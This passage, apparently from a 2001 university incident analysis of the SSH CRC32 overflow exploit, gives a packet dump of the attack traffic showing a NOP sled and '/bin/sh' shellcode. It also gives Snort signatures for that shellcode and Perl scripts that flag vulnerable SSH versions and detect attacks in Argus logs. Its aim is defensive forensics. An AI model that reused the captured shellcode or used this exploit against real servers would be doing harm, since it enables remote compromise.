for those wishing to tune their IDSs to detect signatures of this
particular exploit. Use something like "tcpreplay" [12] if your IDS
does not support tcpdump files, then tell your coders to write tcpdump
import functions like Snort. ;)
[NOTE: The tcpdump file was obtained using Red Hat's screwed up
libpcap, which includes the device name in the dump records. This
means that all utilities, like "ngrep", must be linked against
Red Hat's stock libpcap in order to read this file. I REALLY wish
that Red Hat had worked with the folks who maintain libpcap and
convinced them to support either dump format, or switch to adding
the device name in the standard libpcap, instead of going their
own way in what seems to be typical Linux fashion. This *really*
makes it hard to share tcpdump files between operating systems.]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# tcpdump -s1500 -w sshdx.dump ip host 10.10.10.3 &
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
It can readily be seen that multiple connections are made to the SSH
daemon, and using "ngrep" [5], you can even spot the final connection
and brute force attack which interjects the shell code:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
. . .
T 10.10.10.3:2222 -> 10.10.10.10:32957 [AP]
SSH-1.5-1.2.31.
T 10.10.10.10:32957 -> 10.10.10.3:2222 [AP]
SSH-1.5-OpenSSH_2.2.0p1.
T 10.10.10.3:2222 -> 10.10.10.10:32957 [AP]
............GA..@.......%....`..P.....D&..2.+7#...1!?..c.r).8.^.h.....
..I..b6..9.f........N..0....:BAh@s.e...H......(.D2.Zg......#.......\.j
W...O$....6.......$...V..;...U.@Y.K2.p<\..o..?..l.........*.p.K<s..,..
.@7.wBBy......1.i..%".....G*g.G.t(......M........[.......J......<.
T 10.10.10.10:32957 -> 10.10.10.3:2222 [AP]
............GA..@.....`G.Fg.g.!.i.}..........._.e....=../..6....;....)
T.....|c...#W.\wve.cy .n.....q.Sc....}..".N.G.w"....n.../#.....8x..&.Z
....Q/.......8..
T 10.10.10.3:2222 -> 10.10.10.10:32957 [AP]
.........4..
T 10.10.10.10:32957 -> 10.10.10.3:2222 [A]
..W...2.......2.......2.......2.......2.......2.......2.......2.......
2.......2.......2.......2.......2.......2.......2.......2.......2 ....
..2!......2$......2%......2(......2)......2,......2-......20......21..
....24......25......28......29......2<......2=......2@......2A......2D
......2E......2H......2I......2L......2M......2P......2Q......2T......
2U......2X......2Y......2\......2]......2`......2a......2d......2e....
..2h......2i......2l......2m......2p......2q......2t......2u......2x..
....2y......2|......2}......2.......2.......2.......2.......2.......2.
......2.......2.......2.......2.......2.......2.......2.......2.......
2.......2.......2.......2.......2.......2.......2.......2.......2.....
..2.......2.......2.......2.......2.......2.......2.......2.......2...
....2.......2.......2.......2.......2.......2.......2.......2.......2.
......2.......2.......2.......2.......2.......2.......2.......2.......
2.......2.......2.......2.......2.......2.......2.......2.......2.....
..2.......2.......2.......2.......2.......2.......3.......3.......3...
....3.......3.......3.......3.......3.......3.......3.......3.......3.
......3.......3.......3.......3.......3 ......3!......3$......3%......
3(......3)......3,......3-......30......31......34......35......38....
..39......3<......3=......3@......3A......3D......3E......3H......3I..
....3L......3M......3P......3Q......3T......3U......3X......3Y......3\
......3]......3`......3a......3d........1...p}.@
T 10.10.10.10:32957 -> 10.10.10.3:2222 [A]
......3i......3l......3m......3p......3q......3t......3u......3x......
3y......3|......3}......3.......3.......3.......3.......3.......3.....
..3.......3.......3.......3.......3.......3.......3.......3.......3...
....3.......3.......3.......3.......3.......3.......3.......3.......3.
......3.......3.......3.......3.......3.......3.......3.......3.......
3.......3.......3.......3.......3.......3.......3.......3.......3.....
..3.......3.......3.......3.......3.......3.......3.......3.......3...
....3.......3.......3.......3.......3.......3.......3.......3.......3.
......3.......3.......3.......3.......3.......4.......4.......4.......
4.......4.......4.......4.......4.......4.......4.......4.......4.....
..4.......4.......4.......4.......4 ......4!......4$......4%......4(..
....4)......4,......4-......40......41......44......45......48......49
......4<......4=......4@......4A......4D......4E......4H......4I......
4L......4M......4P......4Q......4T......4U......4X......4Y......4\....
..4]......4`......4a......4d......4e......4h......4i......4l......4m..
....4p......4q......4t......4u......4x......4y......4|......4}......4.
......4.......4.......4.......4.......4.......4.......4.......4.......
4.......4.......4.......4.......4.......4.......4.......4.......4.....
..4.......4.......4.......4.......4.......4.......4.......4.......4...
....4.......4.......4.......4.......4.......4.......4.......4.......4.
......4.......4.......4.......4.........1...p}.@
. . .
T 10.10.10.10:32957 -> 10.10.10.3:2222 [A]
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.....................1..f..1...C.].C.].K.M..M...1..E.Cf.].f.E.09.M..E.
.E..E.....M.....CC....C....1..?......A....^.u.1..F..E......M..U.......
./bin/sh.h0h0h0, 7350, zip/TESO!......................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
........................................1...p}.@
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
You can match (for this exploit binary) on the string "h0h0h0, 7350,
zip/TESO!" [7] in the packet payload, as well as for the "/bin/sh"
and NOP sled. (Of course these, and other strings, may change or
disappear in derivatives of the original source.)
The following signatures were developed by Marty Roesch and Brian
Caswell, for use with Snort v1.8 or higher [6].
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \
(msg:"EXPLOIT ssh CRC32 overflow /bin/sh"; \
flags:A+; content:"/bin/sh"; \
reference:bugtraq,2347; reference:cve,CVE-2001-0144; \
classtype:shellcode-detect;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \
(msg:"EXPLOIT ssh CRC32 overflow filler"; \
flags:A+; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00|"; \
reference:bugtraq,2347; reference:cve,CVE-2001-0144; \
classtype:shellcode-detect;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \
(msg:"EXPLOIT ssh CRC32 overflow NOOP"; \
flags:A+; content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; \
reference:bugtraq,2347; reference:cve,CVE-2001-0144; \
classtype:shellcode-detect;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \
(msg:"EXPLOIT ssh CRC32 overflow"; \
flags:A+; content:"|00 01 57 00 00 00 18|"; offset:0; depth:7; \
content:"|FF FF FF FF 00 00|"; offset:8; depth:14; \
reference:bugtraq,2347; reference:cve,CVE-2001-0144; \
classtype:shellcode-detect;)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Identification of potentially vulnerable or exploited hosts
===========================================================
Two scanners exist to identify ssh servers and their versions: Jeremy
Mates' scan_ssh.pl[8] and Niels Provos' ScanSSH scanner[9]. A script
to take the results of a scan with scan_ssh.pl and produce a break
report on SSH server version and potential vulnerability can be found
in Appendix A. You may need to update the script based on
vulnerability information provided by the authors of various SSH
servers to get accurate results.
Russell Fulton also has published a script for processing Argus[10]
logs, included below in Appendix C.
Final Note
==========
Team TESO issued a public statement about this exploit on 11/8/2001.
You can find it here:
http://www.team-teso.org/sshd_statement.php
Credits
=======
Thanks to Cindy Jenkins of UW MCIS for recovery of the artifacts
analyzed here, Marty Roesch and Brian Caswell for Snort signatures,
Mike Hornung for vulnerability assessment scan data and patches to
Jeremy Mates' scanner, Russell Fulton, Peter Van Epp, Simple Nomad,
Rik Farrow, Dug Song, other unnamed individuals, and all the folks at
SecurityFocus.com for their input.
Dave Dittrich <dittrich@cac.washington.edu>
http://staff.washington.edu/dittrich/
The most recent version of this file can be found at:
http://staff.washington.edu/dittrich/misc/ssh-analysis.txt
References
==========
[1] Portable Linux Amazing CD (PLAC) v2.9.1pre2, by Fred Cohen
http://www.all.net/ForensiX/plac.html
[2] Netcat, by der Hobbit
http://www.l0pht.com/~weld/netcat/
[3] Reverse Engineer's Query Tool
http://packetstormsecurity.org/linux/reverse-engineering/reqt-0.7f.tar.gz
[4] LiSt Open Files (lsof)
http://sunsite.securitycentralhq.com/mirrors/security/lsof/lsof.tar.gz
[5] ngrep, by Jordan Ritter
http://www.packetfactory.net/projects/ngrep/
[6] Snort, by Marty Roesch and a cast of thousands
http://www.snort.org/
[7] 7350.org / 7350
http://www.7350.org/
http://www.team-teso.org/about.php (see the bottom)
[8] ssh_scan.pl, by Jeremy Mates
http://sial.org/code/perl/scripts/ssh_scan.pl.html
[9] ScanSSH scanner by Niels Provos
http://www.monkey.org/~provos/scanssh/
[10] Argus - A generic IP network transaction auditing tool
http://www.pl.freebsd.org/es/ports/net.html#argus-1.8.1
[11] tcpdump of attack traffic (using Red Hat's screwed up version of libpcap)
http://staff.washington.edu/dittrich/misc/sshdx.dump
[12] tcpreplay
http://packages.debian.org/testing/net/tcpreplay.html
Appendix A
==========
Script for producing a one level break report based on known
vulnerability status of several SSH servers and versions.
(NOTE: You may need to modify this script for it to be accurate,
and to understand its limitations - You must read it before using
it.)
=-=-=-=-=-=-=-=-=-=-=-=-=-=- cut here -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#!/usr/bin/perl
#
# ssh-report
#
# Dave Dittrich <dittrich@cac.washington.edu>
# Thu Nov 8 21:39:20 PST 2001
#
# Process output of scans for SSH servers, with version identifying
# information, into two level break report format by SSH version.
#
# This script operates on a list of scan results that look
# like this:
#
# % cat scanresults
# 10.0.0.1 beavertail.dept.foo.edu SSH-1.5-1.2.31
# 10.0.0.2 lumpysoup.dept.foo.edu SSH-1.5-1.2.31
# 10.0.0.3 marktwain.dept.foo.edu SSH-1.99-OpenSSH_2.5.2p2
# 10.0.0.4 junebug.dept.foo.edu SSH-1.5-1.2.31
# 10.0.0.10 calvin.dept.foo.edu SSH-1.99-OpenSSH_2.5.2p2
# 10.0.0.11 hobbes.dept.foo.edu SSH-1.99-OpenSSH_2.1.1
# 10.0.0.20 willow.dept.foo.edu SSH-1.99-OpenSSH_2.9p2
# 10.0.0.21 berry.dept.foo.edu SSH-1.99-OpenSSH_2.9p2
# 10.0.0.23 whimpy.dept.foo.edu SSH-1.99-OpenSSH_2.9p2
#
# The resulting report (without the "-a" flag) will look like this:
#
# % ssh-report < scanresults
#
# SSH-1.5-1.2.31 (affected)
# beavertail.dept.foo.edu(10.0.0.1)
# lumpysoup.dept.foo.edu(10.0.0.2)
# junebug.dept.foo.edu(10.0.0.4)
#
#
# SSH-1.99-OpenSSH_2.1.1 (affected)
# hobbes.dept.foo.edu(10.0.0.11)
#
# By default, this script will only report on those systems that
# are running potentially vulnerable SSH servers. Use the "-a"
# option to report on all servers. Use "grep -v" to filter out
# hosts *before* you run them through this reporting script.
#
# SSH servers are considered "affected" if they are known, by being
# listed in one or more of the following references, to have the crc32
# compensation attack detector vulnerability:
#
# http://www.kb.cert.org/vuls/id/945216
# http://www.securityfocus.com/bid/2347/
# http://xforce.iss.net/alerts/advise100.php
# http://www.ssh.com/products/ssh/advisories/ssh1_crc-32.cfm
#
# You also may need to adjust the logic below to lump systems
# into the "Unknown" category correctly (e.g., if your server
# has a custom version string, access control, etc.)
#
# The list below of servers and potential vulnerability was derived by
# summarizing existing versions on a set of production networks and
# using the advisories and reference material listed above. You
# should update this list as new information is obtained, or if new
# versions of the SSH server are found on your network.
%affected = (
'Unknown', 'unknown',
'SSH-1.4-1.2.14', 'not affected',
'SSH-1.4-1.2.15', 'not affected',
'SSH-1.4-1.2.16', 'not affected',
'SSH-1.5-1.2.17', 'not affected',
'SSH-1.5-1.2.18', 'not affected',
'SSH-1.5-1.2.19', 'not affected',
'SSH-1.5-1.2.20', 'not affected',
'SSH-1.5-1.2.21', 'not affected',
'SSH-1.5-1.2.22', 'not affected',
'SSH-1.5-1.2.23', 'not affected',
'SSH-1.5-1.2.24', 'affected',
'SSH-1.5-1.2.25', 'affected',
'SSH-1.5-1.2.26', 'affected',
'SSH-1.5-1.2.27', 'affected',
'SSH-1.5-1.2.28', 'affected',
'SSH-1.5-1.2.29', 'affected',
'SSH-1.5-1.2.30', 'affected',
'SSH-1.5-1.2.31', 'affected',
'SSH-1.5-1.2.31a', 'not affected',
'SSH-1.5-1.2.32', 'not affected',
'SSH-1.5-1.3.7', 'not affected',
'SSH-1.5-Cisco-1.25', 'unknown',
'SSH-1.5-OSU_1.5alpha1', 'unknown',
'SSH-1.5-OpenSSH-1.2', 'affected',
'SSH-1.5-OpenSSH-1.2.1', 'affected',
'SSH-1.5-OpenSSH-1.2.2', 'affected',
'SSH-1.5-OpenSSH-1.2.3', 'affected',
'SSH-1.5-OpenSSH_2.5.1', 'not affected',
'SSH-1.5-OpenSSH_2.5.1p1', 'not affected',
'SSH-1.5-OpenSSH_2.9p1', 'not affected',
'SSH-1.5-OpenSSH_2.9p2', 'not affected',
'SSH-1.5-RemotelyAnywhere', 'not affected',
'SSH-1.99-2.0.11', 'affected w/Version 1 fallback',
'SSH-1.99-2.0.12', 'affected w/Version 1 fallback',
'SSH-1.99-2.0.13', 'affected w/Version 1 fallback',
'SSH-1.99-2.1.0.pl2', 'affected w/Version 1 fallback',
'SSH-1.99-2.1.0', 'affected w/Version 1 fallback',
'SSH-1.99-2.2.0', 'affected w/Version 1 fallback',
'SSH-1.99-2.3.0', 'affected w/Version 1 fallback',
'SSH-1.99-2.4.0', 'affected w/Version 1 fallback',
'SSH-1.99-3.0.0', 'affected w/Version 1 fallback',
'SSH-1.99-3.0.1', 'affected w/Version 1 fallback',
'SSH-1.99-OpenSSH-2.1', 'affected',
'SSH-1.99-OpenSSH_2.1.1', 'affected',
'SSH-1.99-OpenSSH_2.2.0', 'affected',
'SSH-1.99-OpenSSH_2.2.0p1', 'affected',
'SSH-1.99-OpenSSH_2.3.0', 'not affected',
'SSH-1.99-OpenSSH_2.3.0p1', 'not affected',
'SSH-1.99-OpenSSH_2.5.1', 'not affected',
'SSH-1.99-OpenSSH_2.5.1p1', 'not affected',
'SSH-1.99-OpenSSH_2.5.1p2', 'not affected',
'SSH-1.99-OpenSSH_2.5.2p2', 'not affected',
'SSH-1.99-OpenSSH_2.9.9p2', 'not affected',
'SSH-1.99-OpenSSH_2.9', 'not affected',
'SSH-1.99-OpenSSH_2.9p1', 'not affected',
'SSH-1.99-OpenSSH_2.9p2', 'not affected',
'SSH-1.99-OpenSSH_3.0p1', 'not affected',
'SSH-2.0-1.1.1', 'unknown',
'SSH-2.0-2.3.0', 'affected w/Version 1 fallback',
'SSH-2.0-2.4.0', 'affected w/Version 1 fallback',
'SSH-2.0-3.0.0', 'affected w/Version 1 fallback',
'SSH-2.0-3.0.1', 'affected w/Version 1 fallback',
'SSH-2.0-OpenSSH_2.5.1p1', 'not affected',
'SSH-2.0-OpenSSH_2.5.2p2', 'not affected',
'SSH-2.0-OpenSSH_2.9.9p2', 'not affected',
'SSH-2.0-OpenSSH_2.9p2', 'not affected',
);
# Make SURE you read the code first.
&IKnowWhatImDoing();
$all++, shift(@ARGV) if $ARGV[0] eq "-a";
while (<>) {
chop;
s/\s+/ /g;
($ip, $host, $version) = split(' ', $_);
# Adjust this to identify other strings reported
# by servers that have access restrictions, etc.
# in place and do not show a specific version number.
# They all fall under the category "Unknown" in this case.
$version = "Unknown"
if ($version eq "Couldn't" ||
$version eq "Unknown" ||
$version eq "You" ||
$version eq "timeout");
$server{"$version:$ip"} = $host;
}
foreach $i (sort keys %server) {
($version,$ip) = split(":", $i);
next if ($affected{$version} eq "not affected" && ! $all);
printf("\n\n%s (%s)\n", $version, $affected{$version})
if ($curver ne $version);
$curver = $version;
print " " . $server{$i} . "($ip)\n";
}
exit(0);
sub IKnowWhatImDoing {
local $IKnowWhatImDoing = 0;
# Uncomment the following line to make this script work.
# $IKnowWhatImDoing++;
die "I told you to read the code first, didn't I?\n"
unless $IKnowWhatImDoing;
return;
}
=-=-=-=-=-=-=-=-=-=-=-=-=-=- cut here -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Appendix C
==========
Russell Fulton published the following to the unisog@sans.org
email list, based on information provided by Peter Van Epp.
>From r.fulton@auckland.ac.nz Thu Nov 8 12:38:15 2001
Date: Mon, 5 Nov 2001 11:31:05 +1300 (NZDT)
Subject: [unisog] Tool to find ssh attacks in argus logs
From: Russell Fulton <r.fulton@auckland.ac.nz>
To: unisog@sans.org, argus-info@lists.andrew.cmu.edu
Greetings All,
Here is a quick perl hack to scan archived argus[1] logs
for evidence of ssh attacks. The current attack that we have seen
iterates an offset for the shell code and this script picks up the
repeated attempts. The script is quite specific to this attack and
looks for ssh session within a quite narrow size range.
It has been tested by Peter Van Epp (thanks Peter!) on real data and
picked up all know attacks that they had seen and outgoing attacks from
machine on the network that had already been compromised. Peter also
modified the script to work with argus 1.8.x (see comments).
This is a first cut at this problem. If I get time I will modify this
(using stuff from my watcher scan detector script) to give real time
notification on attacks.
[1]: Argus IP audit tool http://www.qosient.com
Russell Fulton, Computer and Network Security Officer
The University of Auckland, New Zealand
#!/usr/bin/perl
my %ipn;
$ENV{TZ} = 'UTC';
# Assumes version 2.0 ra -- remove A switch if running with 1.8.x data
if (! open(RA, "bin/ra -Ancr ".join(' ', @ARGV) .
" - tcp and dst port 22 |") ) {
die "failed to open connection to server";
}
while(<RA>) {
chomp;
my ( $timestmp, $proto, $src, $srcp, $sym, $dst,
$dstp, $topkt, $fpkt, $tobytes, $fbytes, $status) =
unpack "A19x3A4a15xA6A3x2A16xA5xA8xA9xA12xA12a10", $_;
# From Peter Van Epp:
# If you are luditte like me and still running 1.8.1 comment out the 3 lines
# above and uncomment the 5 lines below
# my ( $timestmp, $flag, $proto, $src, $srcp, $sym, $dst,
# $dstp, $topkt, $fpkt, $tobytes, $fbytes, $status) =
# unpack "A18xA3xA4xA15xA6A3xA15xA5xA6xA6x2A9xA9A3", $_;
# $src =~ s/ //g;
# $dst =~ s/ //g;
next unless ( $tobytes > 90000 and $tobytes < 110000 and
$fbytes > 300 and $fbytes < 400);
if( ! exists $ipn{$src} ) {
$ipn {$src} = {};
$ipn {$src}->{COUNT} = 1;
$ipn {$src}->{TOTAL} = 0;
$ipn{$src}->{TIME} = $timestmp;
#print "$ipn{$src}->{TIME}\n";
$ipn {$src}->{$dst} = 1;
};
if( ! exists $ipn{$src}->{$dst} ) {
$ipn {$src}->{COUNT}++;
$ipn {$src}->{$dst} = 1;
} else {
$ipn {$src}->{$dst}++;
}
$ipn {$src}->{TOTAL}++;
$ipn{$src}->{LTIME} = $timestmp;
}
print scalar keys %ipn, "\n";
foreach my $ip (sort {$ipn{$b}->{TOTAL} <=> $ipn{$a}->{TOTAL}} keys
%ipn ) {
# my $dn = gethostbyaddr(pack("C4",split(/\./,$ipn)),2) || '';
# last if $ipn{$ip}->{TOTAL} == 1;
print "$ip $ipn{$ip}->{TIME} -- $ipn{$ip}->{LTIME} # number of
targets $ipn{$ip}->{COUNT} total sessions $ipn{$ip}->{TOTAL}\n" ;
}
--
Dave Dittrich Computing & Communications
dittrich@cac.washington.edu University Computing Services
http://staff.washington.edu/dittrich University of Washington
PGP key http://staff.washington.edu/dittrich/pgpkey.txt
Fingerprint FE 97 0C 57 08 43 F3 EB 49 A1 0C D0 8E 0C D0 BE C8 38 CC B5
